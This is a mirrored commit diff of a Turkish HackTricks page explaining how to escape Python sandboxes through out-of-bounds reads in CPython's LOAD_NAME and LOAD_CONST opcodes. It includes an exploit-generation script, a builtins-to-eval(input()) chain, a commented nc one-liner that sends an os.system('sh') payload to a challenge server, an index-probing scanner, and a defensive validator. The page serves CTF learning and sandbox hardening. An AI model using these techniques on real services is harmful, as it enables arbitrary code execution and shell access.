mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
		
							parent
							
								
									f9ea991dba
								
							
						
					
					
						commit
						c3555146d2
					
				@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
 | 
			
		||||
 | 
			
		||||
LOAD_NAME / LOAD_CONST opcode'da OOB okuma özelliğini kullanarak bellekteki bazı sembolleri alabiliriz. Bu, istediğiniz bir sembolü (örneğin, fonksiyon adı) almak için `(a, b, c, ... yüzlerce sembol ..., __getattribute__) if [] else [].__getattribute__(...)` gibi bir hile kullanmak anlamına gelir.
 | 
			
		||||
LOAD_NAME / LOAD_CONST opcode'daki OOB okuma özelliğini, bellekteki bazı sembolleri almak için kullanabiliriz. Bu, istediğiniz bir sembolü (örneğin, fonksiyon adı) almak için `(a, b, c, ... yüzlerce sembol ..., __getattribute__) if [] else [].__getattribute__(...)` gibi bir hile kullanmak anlamına gelir.
 | 
			
		||||
 | 
			
		||||
Sonra sadece istismarınızı oluşturun.
 | 
			
		||||
 | 
			
		||||
@ -35,11 +35,11 @@ Basit bir örnekle başlayalım, `[a, b, c]` aşağıdaki bytecode'a derlenebili
 | 
			
		||||
6 BUILD_LIST               3
 | 
			
		||||
8 RETURN_VALUE12345
 | 
			
		||||
```
 | 
			
		||||
Ama `co_names` boş bir demet haline gelirse ne olur? `LOAD_NAME 2` opcode'u hala çalıştırılır ve o bellek adresinden değer okumaya çalışır. Evet, bu bir out-of-bound okuma "özelliği".
 | 
			
		||||
Ama `co_names` boş bir demet haline gelirse ne olur? `LOAD_NAME 2` opcode'u hala çalıştırılır ve o bellek adresinden değer okumaya çalışır. Evet, bu bir sınır dışı okuma "özelliği".
 | 
			
		||||
 | 
			
		||||
Çözümün temel konsepti basittir. CPython'daki bazı opcode'lar, örneğin `LOAD_NAME` ve `LOAD_CONST`, OOB okumasına karşı savunmasızdır (?).
 | 
			
		||||
Çözümün temel konsepti basittir. CPython'daki bazı opcode'lar, örneğin `LOAD_NAME` ve `LOAD_CONST`, OOB okuma için savunmasızdır (?).
 | 
			
		||||
 | 
			
		||||
Bu opcode'lar, `consts` veya `names` demetinden `oparg` indeksinden bir nesne alır (arka planda buna `co_consts` ve `co_names` denir). CPython'un `LOAD_CONST` opcode'unu işlerken ne yaptığını görmek için aşağıdaki kısa kesiti inceleyebiliriz.
 | 
			
		||||
Bu opcode'lar, `consts` veya `names` demetinden `oparg` indeksinden bir nesne alır (bu, `co_consts` ve `co_names`'in arka planda adlandırıldığı şeydir). CPython'un `LOAD_CONST` opcode'unu işlerken ne yaptığını görmek için `LOAD_CONST` hakkında aşağıdaki kısa kesite bakabiliriz.
 | 
			
		||||
```c
 | 
			
		||||
case TARGET(LOAD_CONST): {
 | 
			
		||||
PREDICTED(LOAD_CONST);
 | 
			
		||||
@ -54,14 +54,14 @@ Bu şekilde OOB özelliğini kullanarak rastgele bellek ofsetinden bir "isim" al
 | 
			
		||||
### Exploit Oluşturma <a href="#generating-the-exploit" id="generating-the-exploit"></a>
 | 
			
		||||
 | 
			
		||||
Bu yararlı ofsetleri isimler / sabitler için aldıktan sonra, o ofsetten bir isim / sabit nasıl alır ve kullanırız? İşte size bir hile:\
 | 
			
		||||
Ofset 5'ten (`LOAD_NAME 5`) bir `__getattribute__` ismi alabileceğimizi varsayalım (`co_names=()`), o zaman sadece aşağıdaki adımları izleyin:
 | 
			
		||||
Ofset 5'ten (`LOAD_NAME 5`) bir `__getattribute__` ismi alabileceğimizi varsayalım (`co_names=()`), o zaman sadece şu adımları izleyin:
 | 
			
		||||
```python
 | 
			
		||||
[a,b,c,d,e,__getattribute__] if [] else [
 | 
			
		||||
[].__getattribute__
 | 
			
		||||
# you can get the __getattribute__ method of list object now!
 | 
			
		||||
]1234
 | 
			
		||||
```
 | 
			
		||||
> Dikkat edin ki, bunu `__getattribute__` olarak adlandırmak zorunda değilsiniz, daha kısa veya daha garip bir isim verebilirsiniz.
 | 
			
		||||
> Dikkat edin ki, bunu `__getattribute__` olarak adlandırmak gerekli değildir, daha kısa veya daha garip bir isim verebilirsiniz.
 | 
			
		||||
 | 
			
		||||
Bunun arkasındaki nedeni sadece bytecode'unu görüntüleyerek anlayabilirsiniz:
 | 
			
		||||
```python
 | 
			
		||||
@ -80,9 +80,9 @@ Bunun arkasındaki nedeni sadece bytecode'unu görüntüleyerek anlayabilirsiniz
 | 
			
		||||
24 BUILD_LIST               1
 | 
			
		||||
26 RETURN_VALUE1234567891011121314
 | 
			
		||||
```
 | 
			
		||||
`LOAD_ATTR`'ın aynı zamanda `co_names`'den ismi aldığını unutmayın. Python, isim aynıysa aynı ofsetten isimleri yükler, bu nedenle ikinci `__getattribute__` hala offset=5'ten yüklenir. Bu özelliği kullanarak, isim bellek yakınındaysa rastgele bir ismi kullanabiliriz.
 | 
			
		||||
`LOAD_ATTR`'ın aynı zamanda `co_names`'den ismi aldığını unutmayın. Python, isim aynıysa aynı offset'ten isimleri yükler, bu nedenle ikinci `__getattribute__` hala offset=5'ten yüklenir. Bu özelliği kullanarak, isim bellek yakınındaysa rastgele bir ismi kullanabiliriz.
 | 
			
		||||
 | 
			
		||||
Sayılar üretmek basit olmalıdır:
 | 
			
		||||
Sayılar üretmek oldukça basit olmalıdır:
 | 
			
		||||
 | 
			
		||||
- 0: not \[\[]]
 | 
			
		||||
- 1: not \[]
 | 
			
		||||
@ -93,7 +93,7 @@ Sayılar üretmek basit olmalıdır:
 | 
			
		||||
 | 
			
		||||
Uzunluk sınırı nedeniyle consts kullanmadım.
 | 
			
		||||
 | 
			
		||||
İlk olarak, bu isimlerin ofsetlerini bulmamız için bir script.
 | 
			
		||||
İlk olarak, bu isimlerin offset'lerini bulmamız için bir script.
 | 
			
		||||
```python
 | 
			
		||||
from types import CodeType
 | 
			
		||||
from opcode import opmap
 | 
			
		||||
@ -205,7 +205,7 @@ print(source)
 | 
			
		||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
 | 
			
		||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
 | 
			
		||||
```
 | 
			
		||||
Temelde şu işlemleri yapar, bu dizeleri `__dir__` yönteminden alırız:
 | 
			
		||||
Temelde şu şeyleri yapar, bu dizeleri `__dir__` yönteminden alırız:
 | 
			
		||||
```python
 | 
			
		||||
getattr = (None).__getattribute__('__class__').__getattribute__
 | 
			
		||||
builtins = getattr(
 | 
			
		||||
@ -218,4 +218,117 @@ getattr(
 | 
			
		||||
'__repr__').__getattribute__('__globals__')['builtins']
 | 
			
		||||
builtins['eval'](builtins['input']())
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Sürüm notları ve etkilenen opcode'lar (Python 3.11–3.13)
 | 
			
		||||
 | 
			
		||||
- CPython bytecode opcode'ları hala `co_consts` ve `co_names` demetlerine tam sayı operandları ile indekslenir. Eğer bir saldırgan bu demetleri boş (veya bytecode tarafından kullanılan maksimum indeksin altında) hale getirebilirse, yorumlayıcı o indeks için sınır dışı belleği okuyacak ve yakın bellekten rastgele bir PyObject işaretçisi elde edecektir. İlgili opcode'lar en azından şunları içerir:
 | 
			
		||||
- `LOAD_CONST consti` → `co_consts[consti]` okur.
 | 
			
		||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → `co_names[...]`'den isimleri okur (3.11+ için `LOAD_ATTR`/`LOAD_GLOBAL` düşük bitte saklama bayrağı bitleri taşır; gerçek indeks `namei >> 1`'dir). Her sürüm için kesin anlamlar için ayrıştırıcı belgelerine bakın. [Python dis docs].
 | 
			
		||||
- Python 3.11+ gizli `CACHE` girişleri ekleyen adaptif/inline önbellekler tanıttı. Bu, OOB ilkesini değiştirmez; sadece bytecode'u el ile oluşturuyorsanız, `co_code` oluştururken bu önbellek girişlerini hesaba katmanız gerektiği anlamına gelir.
 | 
			
		||||
 | 
			
		||||
Pratik sonuç: Bu sayfadaki teknik, bir kod nesnesini kontrol edebildiğinizde (örneğin, `CodeType.replace(...)` aracılığıyla) ve `co_consts`/`co_names`'i küçültebildiğinizde CPython 3.11, 3.12 ve 3.13 üzerinde çalışmaya devam eder.
 | 
			
		||||
 | 
			
		||||
### Kullanışlı OOB indeksleri için hızlı tarayıcı (3.11+/3.12+ uyumlu)
 | 
			
		||||
 | 
			
		||||
Eğer yüksek seviyeli kaynak yerine bytecode'dan ilginç nesneleri doğrudan araştırmayı tercih ediyorsanız, minimal kod nesneleri oluşturabilir ve indeksleri zorlayabilirsiniz. Aşağıdaki yardımcı, gerektiğinde otomatik olarak inline önbellekler ekler.
 | 
			
		||||
```python
 | 
			
		||||
import dis, types
 | 
			
		||||
 | 
			
		||||
def assemble(ops):
 | 
			
		||||
# ops: list of (opname, arg) pairs
 | 
			
		||||
cache = bytes([dis.opmap.get("CACHE", 0), 0])
 | 
			
		||||
out = bytearray()
 | 
			
		||||
for op, arg in ops:
 | 
			
		||||
opc = dis.opmap[op]
 | 
			
		||||
out += bytes([opc, arg])
 | 
			
		||||
# Python >=3.11 inserts per-opcode inline cache entries
 | 
			
		||||
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
 | 
			
		||||
out += cache * ncache
 | 
			
		||||
return bytes(out)
 | 
			
		||||
 | 
			
		||||
# Reuse an existing function's code layout to simplify CodeType construction
 | 
			
		||||
base = (lambda: None).__code__
 | 
			
		||||
 | 
			
		||||
# Example: probe co_consts[i] with LOAD_CONST i and return it
 | 
			
		||||
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
 | 
			
		||||
 | 
			
		||||
def probe_const(i):
 | 
			
		||||
code = assemble([
 | 
			
		||||
("RESUME", 0),          # 3.11+
 | 
			
		||||
("LOAD_CONST", i),
 | 
			
		||||
("RETURN_VALUE", 0),
 | 
			
		||||
])
 | 
			
		||||
c = base.replace(co_code=code, co_consts=(), co_names=())
 | 
			
		||||
try:
 | 
			
		||||
return eval(c)
 | 
			
		||||
except Exception:
 | 
			
		||||
return None
 | 
			
		||||
 | 
			
		||||
for idx in range(0, 300):
 | 
			
		||||
obj = probe_const(idx)
 | 
			
		||||
if obj is not None:
 | 
			
		||||
print(idx, type(obj), repr(obj)[:80])
 | 
			
		||||
```
 | 
			
		||||
Notlar
 | 
			
		||||
- İsimleri sorgulamak için `LOAD_CONST` yerine `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` kullanın ve yığın kullanımınızı buna göre ayarlayın.
 | 
			
		||||
- Gerekirse 255'ten büyük indekslere ulaşmak için `EXTENDED_ARG` veya birden fazla `arg` baytı kullanın. Yukarıda olduğu gibi `dis` ile inşa ederken, yalnızca düşük baytı kontrol edersiniz; daha büyük indeksler için, ham baytları kendiniz oluşturun veya saldırıyı birden fazla yükleme ayırın.
 | 
			
		||||
 | 
			
		||||
### Minimal bytecode-sadece RCE deseni (co_consts OOB → builtins → eval/input)
 | 
			
		||||
 | 
			
		||||
Bir `co_consts` indeksinin builtins modülüne karşılık geldiğini belirledikten sonra, yığını manipüle ederek `eval(input())`'i herhangi bir `co_names` olmadan yeniden oluşturabilirsiniz:
 | 
			
		||||
```python
 | 
			
		||||
# Build co_code that:
 | 
			
		||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
 | 
			
		||||
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
 | 
			
		||||
#    out of objects living nearby in memory (e.g., from method tables),
 | 
			
		||||
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
 | 
			
		||||
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
 | 
			
		||||
```
 | 
			
		||||
Bu yaklaşım, `co_code` üzerinde doğrudan kontrol sağlarken `co_consts=()` ve `co_names=()` zorlayan (örneğin, BCTF 2024 “awpcode”) zorluklarda faydalıdır. Kaynak düzeyindeki hilelerden kaçınır ve bytecode yığın işlemleri ile tuple oluşturucularını kullanarak yük boyutunu küçük tutar.
 | 
			
		||||
 | 
			
		||||
### Sandbox'lar için savunma kontrolleri ve hafifletmeler
 | 
			
		||||
 | 
			
		||||
Güvenilmeyen kodu derleyen/değerlendiren veya kod nesnelerini manipüle eden bir Python “sandbox” yazıyorsanız, bytecode tarafından kullanılan tuple indekslerini sınır kontrolü için CPython'a güvenmeyin. Bunun yerine, kod nesnelerini çalıştırmadan önce kendiniz doğrulayın.
 | 
			
		||||
 | 
			
		||||
Pratik doğrulayıcı (co_consts/co_names için OOB erişimini reddeder)
 | 
			
		||||
```python
 | 
			
		||||
import dis
 | 
			
		||||
 | 
			
		||||
def max_name_index(code):
 | 
			
		||||
max_idx = -1
 | 
			
		||||
for ins in dis.get_instructions(code):
 | 
			
		||||
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
 | 
			
		||||
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
 | 
			
		||||
namei = ins.arg or 0
 | 
			
		||||
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
 | 
			
		||||
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
 | 
			
		||||
namei >>= 1
 | 
			
		||||
max_idx = max(max_idx, namei)
 | 
			
		||||
return max_idx
 | 
			
		||||
 | 
			
		||||
def max_const_index(code):
 | 
			
		||||
return max([ins.arg for ins in dis.get_instructions(code)
 | 
			
		||||
if ins.opname == "LOAD_CONST"] + [-1])
 | 
			
		||||
 | 
			
		||||
def validate_code_object(code: type((lambda:0).__code__)):
 | 
			
		||||
if max_const_index(code) >= len(code.co_consts):
 | 
			
		||||
raise ValueError("Bytecode refers to const index beyond co_consts length")
 | 
			
		||||
if max_name_index(code) >= len(code.co_names):
 | 
			
		||||
raise ValueError("Bytecode refers to name index beyond co_names length")
 | 
			
		||||
 | 
			
		||||
# Example use in a sandbox:
 | 
			
		||||
# src = input(); c = compile(src, '<sandbox>', 'exec')
 | 
			
		||||
# c = c.replace(co_consts=(), co_names=())       # if you really need this, validate first
 | 
			
		||||
# validate_code_object(c)
 | 
			
		||||
# eval(c, {'__builtins__': {}})
 | 
			
		||||
```
 | 
			
		||||
Ekstra azaltma fikirleri
 | 
			
		||||
- Güvensiz girdi üzerinde keyfi `CodeType.replace(...)` kullanımına izin vermeyin veya sonuçta oluşan kod nesnesi üzerinde katı yapısal kontroller ekleyin.
 | 
			
		||||
- Güvensiz kodu, CPython semantiklerine güvenmek yerine, OS düzeyinde sandboxing (seccomp, iş nesneleri, konteynerler) ile ayrı bir süreçte çalıştırmayı düşünün.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- Splitline’ın HITCON CTF 2022 yazısı “V O I D” (bu tekniğin kökeni ve yüksek seviyeli istismar zinciri): https://blog.splitline.tw/hitcon-ctf-2022/
 | 
			
		||||
- Python ayrıştırıcı belgeleri (LOAD_CONST/LOAD_NAME/etc. için indeks semantiklerini ve 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` düşük bit bayraklarını): https://docs.python.org/3.13/library/dis.html
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user